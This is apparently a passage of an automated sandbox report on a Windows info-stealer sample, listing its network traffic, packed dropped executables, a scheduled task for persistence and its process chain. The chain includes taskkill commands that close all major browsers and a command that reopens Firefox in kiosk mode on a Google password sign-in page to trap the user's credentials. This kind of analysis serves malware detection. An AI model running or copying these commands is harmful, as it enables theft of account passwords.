00000019.00000002.3170068733.000001378E85E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3168685782.000001378E4D9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd
Source: firefox.exe, 00000017.00000002.2958094228.00000292F5761000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2963173748.00000249FBEE3000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3168685782.000001378E4D9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd--no-default-browser
Source: firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd_setSearchProviderIn
Source: 2d569de7b1.exe, 0000000C.00000002.2989049565.0000000000F40000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwdf_6.0.1
Source: firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/accountservices.sync.log.logger.browserPanelUI-remotetabs-setupsyncappMenu-heade

Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60575 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60632 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60649 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60561 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60603 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60626 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60637 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60566 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60606 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60609 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60573 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60615 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60638 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60559
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60558
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60557
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60609
Source: unknown	Network traffic detected: HTTP traffic on port 60570 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60578 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60565
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60564
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60563
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60561
Source: unknown	Network traffic detected: HTTP traffic on port 60558 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60564 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60606
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60605
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60604
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60603
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49705
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49704
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60602
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60568
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60600
Source: unknown	Network traffic detected: HTTP traffic on port 60604 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60566
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60571 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49704 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60636 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60613 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60575
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60573
Source: unknown	Network traffic detected: HTTP traffic on port 60645 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60559 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60565 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60571
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60570
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60615
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60614
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60613
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60578
Source: unknown	Network traffic detected: HTTP traffic on port 60633 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49988 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60620
Source: unknown	Network traffic detected: HTTP traffic on port 60648 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60640 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60602 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60626
Source: unknown	Network traffic detected: HTTP traffic on port 60634 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60647 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60557 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60563 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60639
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60638
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60637
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60636
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60634
Source: unknown	Network traffic detected: HTTP traffic on port 60620 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60633
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60599
Source: unknown	Network traffic detected: HTTP traffic on port 60605 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60632
Source: unknown	Network traffic detected: HTTP traffic on port 60599 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49993
Source: unknown	Network traffic detected: HTTP traffic on port 60639 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60614 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60640
Source: unknown	Network traffic detected: HTTP traffic on port 60568 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60649
Source: unknown	Network traffic detected: HTTP traffic on port 49993 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60648
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60647
Source: unknown	Network traffic detected: HTTP traffic on port 60600 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60645
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49988

Source: unknown	HTTPS traffic detected: 104.102.49.254:443 -> 192.168.2.5:49704 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.206.204:443 -> 192.168.2.5:49705 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.206.204:443 -> 192.168.2.5:49706 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.206.204:443 -> 192.168.2.5:49707 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.206.204:443 -> 192.168.2.5:49708 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.206.204:443 -> 192.168.2.5:49709 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.206.204:443 -> 192.168.2.5:49710 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.206.204:443 -> 192.168.2.5:49711 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.206.204:443 -> 192.168.2.5:49712 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.206.204:443 -> 192.168.2.5:49712 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.102.49.254:443 -> 192.168.2.5:49988 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.102.49.254:443 -> 192.168.2.5:49993 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.102.49.254:443 -> 192.168.2.5:60559 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.5:60565 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.5:60568 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.5:60573 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.5:60605 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.5:60606 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.5:60609 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.5:60638 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.5:60639 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.5:60640 version: TLS 1.2

System Summary

Binary is likely a compiled AutoIt script file

Source: 2d569de7b1.exe, 0000000C.00000000.2915915173.0000000000D62000.00000002.00000001.01000000.00000010.sdmp	String found in binary or memory: This is a third-party compiled AutoIt script.		memstr_60027c62-9
Source: 2d569de7b1.exe, 0000000C.00000000.2915915173.0000000000D62000.00000002.00000001.01000000.00000010.sdmp	String found in binary or memory: AnyArabicArmenianAvestanBalineseBamumBassa_VahBatakBengaliBopomofoBrahmiBrailleBugineseBuhidCCanadian_AboriginalCarianCaucasian_AlbanianCcCfChakmaChamCherokeeCnCoCommonCopticCsCuneiformCypriotCyrillicDeseretDevanagariDuployanEgyptian_HieroglyphsElbasanEthiopicGeorgianGlagoliticGothicGranthaGreekGujaratiGurmukhiHanHangulHanunooHebrewHiraganaImperial_AramaicInheritedInscriptional_PahlaviInscriptional_ParthianJavaneseKaithiKannadaKatakanaKayah_LiKharoshthiKhmerKhojkiKhudawadiLL&LaoLatinLepchaLimbuLinear_ALinear_BLisuLlLmLoLtLuLycianLydianMMahajaniMalayalamMandaicManichaeanMcMeMeetei_MayekMende_KikakuiMeroitic_CursiveMeroitic_HieroglyphsMiaoMnModiMongolianMroMyanmarNNabataeanNdNew_Tai_LueNkoNlNoOghamOl_ChikiOld_ItalicOld_North_ArabianOld_PermicOld_PersianOld_South_ArabianOld_TurkicOriyaOsmanyaPPahawh_HmongPalmyrenePau_Cin_HauPcPdPePfPhags_PaPhoenicianPiPoPsPsalter_PahlaviRejangRunicSSamaritanSaurashtraScSharadaShavianSiddhamSinhalaSkSmSoSora_SompengSundaneseSyloti_NagriSyriacTagalogTagbanwaTai_LeTai_ThamTai_VietTakriTamilTeluguThaanaThaiTibetanTifinaghTirhutaUgariticVaiWarang_CitiXanXpsXspXucXwdYiZZlZpZsSDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBoxSHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer		memstr_83877f55-8

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: S14AV77TIR9DRWSCWIW0.exe.0.dr	Static PE information: section name:
Source: S14AV77TIR9DRWSCWIW0.exe.0.dr	Static PE information: section name: .idata
Source: S14AV77TIR9DRWSCWIW0.exe.0.dr	Static PE information: section name:
Source: 7RNKVR1EZ552XQ73.exe.0.dr	Static PE information: section name:
Source: 7RNKVR1EZ552XQ73.exe.0.dr	Static PE information: section name: .rsrc
Source: 7RNKVR1EZ552XQ73.exe.0.dr	Static PE information: section name: .idata
Source: 7RNKVR1EZ552XQ73.exe.0.dr	Static PE information: section name:
Source: QDDSFWH7TPMYGYIMIOWX7SBOU5.exe.0.dr	Static PE information: section name:
Source: QDDSFWH7TPMYGYIMIOWX7SBOU5.exe.0.dr	Static PE information: section name: .idata
Source: skotes.exe.3.dr	Static PE information: section name:
Source: skotes.exe.3.dr	Static PE information: section name: .idata
Source: skotes.exe.3.dr	Static PE information: section name:
Source: random[1].exe.8.dr	Static PE information: section name:
Source: random[1].exe.8.dr	Static PE information: section name: .rsrc
Source: random[1].exe.8.dr	Static PE information: section name: .idata
Source: 976d9f40c1.exe.8.dr	Static PE information: section name:
Source: 976d9f40c1.exe.8.dr	Static PE information: section name: .rsrc
Source: 976d9f40c1.exe.8.dr	Static PE information: section name: .idata
Source: random[1].exe0.8.dr	Static PE information: section name:
Source: random[1].exe0.8.dr	Static PE information: section name: .rsrc
Source: random[1].exe0.8.dr	Static PE information: section name: .idata
Source: random[1].exe0.8.dr	Static PE information: section name:
Source: 606f2f6db0.exe.8.dr	Static PE information: section name:
Source: 606f2f6db0.exe.8.dr	Static PE information: section name: .rsrc
Source: 606f2f6db0.exe.8.dr	Static PE information: section name: .idata
Source: 606f2f6db0.exe.8.dr	Static PE information: section name:

PE file has a writeable .text section

Source: num[1].exe.8.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: num.exe.8.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Source: C:\Users\user\AppData\Local\Temp\S14AV77TIR9DRWSCWIW0.exe

File created: C:\Windows\Tasks\skotes.job

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\QDDSFWH7TPMYGYIMIOWX7SBOU5.exe	Code function: 5_2_00BBC056	5_2_00BBC056
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 8_2_00FEE530	8_2_00FEE530
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 8_2_01022D10	8_2_01022D10
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 8_2_010231A8	8_2_010231A8
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 8_2_00FE4DE0	8_2_00FE4DE0
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 8_2_01027049	8_2_01027049
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 8_2_01028860	8_2_01028860
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 8_2_010278BB	8_2_010278BB
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 8_2_01017F36	8_2_01017F36
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 8_2_0102779B	8_2_0102779B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 8_2_00FE4B30	8_2_00FE4B30

Source: Joe Sandbox View

Dropped File: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\num[1].exe 27E4A3627D7DF2B22189DD4BEBC559AE1986D49A8F4E35980B428FADB66CF23D

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe	Static PE information: Section: ZLIB complexity 0.9994778774752475
Source: S14AV77TIR9DRWSCWIW0.exe.0.dr	Static PE information: Section: ZLIB complexity 0.9977275630108992
Source: S14AV77TIR9DRWSCWIW0.exe.0.dr	Static PE information: Section: ptpgbbgo ZLIB complexity 0.9942102758172363
Source: 7RNKVR1EZ552XQ73.exe.0.dr	Static PE information: Section: njaoxwad ZLIB complexity 0.9948439896472393
Source: skotes.exe.3.dr	Static PE information: Section: ZLIB complexity 0.9977275630108992
Source: skotes.exe.3.dr	Static PE information: Section: ptpgbbgo ZLIB complexity 0.9942102758172363
Source: random[1].exe.8.dr	Static PE information: Section: ZLIB complexity 0.9994778774752475
Source: 976d9f40c1.exe.8.dr	Static PE information: Section: ZLIB complexity 0.9994778774752475
Source: random[1].exe0.8.dr	Static PE information: Section: njaoxwad ZLIB complexity 0.9948439896472393
Source: 606f2f6db0.exe.8.dr	Static PE information: Section: njaoxwad ZLIB complexity 0.9948439896472393

Source: 7RNKVR1EZ552XQ73.exe.0.dr	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5
Source: 606f2f6db0.exe.8.dr	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5
Source: random[1].exe0.8.dr	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5

Source: 7RNKVR1EZ552XQ73.exe, 00000004.00000002.2319704443.00000000002D1000.00000040.00000001.01000000.00000007.sdmp, 7RNKVR1EZ552XQ73.exe, 00000004.00000003.2279367623.0000000004C70000.00000004.00001000.00020000.00000000.sdmp, 606f2f6db0.exe, 0000000A.00000003.2884674962.0000000004FF0000.00000004.00001000.00020000.00000000.sdmp, 606f2f6db0.exe, 0000000A.00000002.2934932135.00000000000E1000.00000040.00000001.01000000.0000000F.sdmp

Binary or memory string: =R.SLN6CO6A3TUV4VI7QN) U16F5V0%Q$'V<+59CPLCJJULOYXRHGLPW "53>/1

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@71/26@91/12

Source: C:\Users\user\AppData\Local\Temp\QDDSFWH7TPMYGYIMIOWX7SBOU5.exe

Code function: 5_2_047B15D0 ChangeServiceConfigA,

5_2_047B15D0

Source: C:\Users\user\AppData\Local\Temp\7RNKVR1EZ552XQ73.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\33ORRB19.htm

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8184:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\QDDSFWH7TPMYGYIMIOWX7SBOU5.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6716:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3724:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2636:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1644:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7436:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6532:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Mutant created: \Sessions\1\BaseNamedObjects\006700e5a2ab05704bbb0c589b88924d
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6496:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6448:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1632:120:WilError_03

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Temp\S14AV77TIR9DRWSCWIW0.exe

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\7RNKVR1EZ552XQ73.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process

Source: C:\Users\user\AppData\Local\Temp\S14AV77TIR9DRWSCWIW0.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: file.exe, 00000000.00000003.2108201890.00000000059A0000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2120732825.0000000005A93000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: file.exe

ReversingLabs: Detection: 42%

Source: S14AV77TIR9DRWSCWIW0.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: 7RNKVR1EZ552XQ73.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: QDDSFWH7TPMYGYIMIOWX7SBOU5.exe	String found in binary or memory: 3The file %s is missing. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\file.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\S14AV77TIR9DRWSCWIW0.exe "C:\Users\user\AppData\Local\Temp\S14AV77TIR9DRWSCWIW0.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\7RNKVR1EZ552XQ73.exe "C:\Users\user\AppData\Local\Temp\7RNKVR1EZ552XQ73.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\QDDSFWH7TPMYGYIMIOWX7SBOU5.exe "C:\Users\user\AppData\Local\Temp\QDDSFWH7TPMYGYIMIOWX7SBOU5.exe"
Source: C:\Users\user\AppData\Local\Temp\S14AV77TIR9DRWSCWIW0.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1000976001\976d9f40c1.exe "C:\Users\user\AppData\Local\Temp\1000976001\976d9f40c1.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1000977001\606f2f6db0.exe "C:\Users\user\AppData\Local\Temp\1000977001\606f2f6db0.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1000976001\976d9f40c1.exe "C:\Users\user\AppData\Local\Temp\1000976001\976d9f40c1.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1000978001\2d569de7b1.exe "C:\Users\user\AppData\Local\Temp\1000978001\2d569de7b1.exe"
Source: C:\Users\user\AppData\Local\Temp\1000978001\2d569de7b1.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1000978001\2d569de7b1.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1000978001\2d569de7b1.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1000978001\2d569de7b1.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Users\user\AppData\Local\Temp\7RNKVR1EZ552XQ73.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1000978001\2d569de7b1.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1000978001\2d569de7b1.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Source: unknown	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking --attempting-deelevation
Source: C:\Users\user\AppData\Local\Temp\S14AV77TIR9DRWSCWIW0.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
